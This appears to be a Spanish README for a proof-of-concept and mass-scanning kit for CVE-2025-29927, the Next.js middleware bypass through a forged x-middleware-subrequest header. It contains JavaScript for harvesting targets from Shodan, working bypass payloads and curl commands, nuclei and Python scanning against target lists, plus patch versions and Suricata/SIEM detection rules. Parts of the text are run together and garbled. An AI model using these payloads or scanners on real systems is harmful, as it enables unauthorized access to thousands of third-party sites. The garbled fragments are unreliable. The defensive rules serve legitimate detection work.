
Kit de herramientas de prueba de concepto y escaneo masivo para CVE-2025-29927, una omisión de autorización de middleware de Next.js mediante el encabezado forjado x-middleware-subrequest. Incluye plantillas de nuclei y escáner Python.
Brevemente: vulnerabilidad en el middleware de Next.js que permite eludir las comprobaciones de autorización mediante la falsificación del encabezado
x-middleware-subrequest.
Realicé una búsqueda en Shodan con el filtro http.headers:"x-middleware-rewrite" y obtuve una lista de 1000 dominios.
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Contexto y antecedentes En las primeras versiones de Next.js, el middleware podía realizar solicitudes internas (sub-solicitudes) a la propia aplicación. Para evitar la recursión, el framework introducía encabezados HTTP de servicio (marcadores internos) que indicaban «esta solicitud ya ha sido procesada». Este enfoque era práctico y permitía evitar bucles infinitos dentro del pipeline del middleware.
Evolución del middleware y cargas útiles (payloads) Hasta Next.js 12.2, el middleware se ubicaba como _middleware dentro de pages/ y podía estar anidado (pages/_middleware, pages/dashboard/_middleware, etc.). El payload podía indicar una ruta concreta (x-middleware-subrequest: pages/dashboard/_middleware). Desde Next.js 12.2, el middleware pasó a denominarse middleware.js/ts y dejó de residir en pages/. En este caso, el payload simple x-middleware-subrequest: middleware (o src/middleware cuando se usa src/) solía funcionar. Las versiones posteriores (≥ 13.2.0) introdujeron comprobaciones adicionales, incluido MAX_RECURSION_DEPTH; en algunos bypass se usaban valores repetidos del tipo middleware:middleware:... para simular una cadena anidada. En la práctica: el formato exacto del payload depende de la versión de Next.js y de la estructura del proyecto.
Historial de la corrección y el problema con x-middleware-subrequest-id El parche rápido inicial incluía la idea de un identificador interno —x-middleware-subrequest-id— que se generaba y verificaba en tiempo de ejecución para distinguir las sub-solicitudes internas válidas de las falsificaciones. Sin embargo, la implementación mostró un efecto secundario: este ID interno podía filtrarse hacia el exterior (llegando a las solicitudes fetch/salientes), lo que creaba un nuevo riesgo. Además, la firma/sincronización de los identificadores resultó poco fiable en entornos con múltiples CDN/PoP y runtimes mixtos (Edge vs Node). Como resultado, el código con x-middleware-subrequest-id fue eliminado/reelaborado; la solución final es una combinación de parches en Next.js y mitigaciones de plataforma (filtrado de los encabezados internos entrantes a nivel de ingress/edge).
CVE-2025-29927x-middleware-subrequest. Un cliente externo puede establecer este encabezado y eludir las comprobaciones de acceso.x-middleware-subrequest al tomar la decisión de acceso. El campo estaba pensado originalmente para operaciones internas del framework, pero las solicitudes externas pueden establecer este encabezado, lo que permite eludir la autorización.Son vulnerables los siguientes rangos de versiones:
>= 11.1.4 y < 12.3.5>= 13.0.0 y < 13.5.9>= 14.0.0 y < 14.2.25>= 15.0.0 y < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — modo seguro.x-middleware-subrequest y compara la respuesta. Es obligatorio usar rate-limit y throttle.Comando para ejecutar (ejemplo):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → comparar el estado y el cuerpo.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio para lograr un alto rendimiento.Pseudocódigo breve:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.x-middleware-subrequest en el borde:Ejemplos de reglas/alertas:
SIEM: alertar ante solicitudes entrantes con x-middleware-subrequest si source.ip no está en trusted_proxies.
Suricata (pseudo):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demo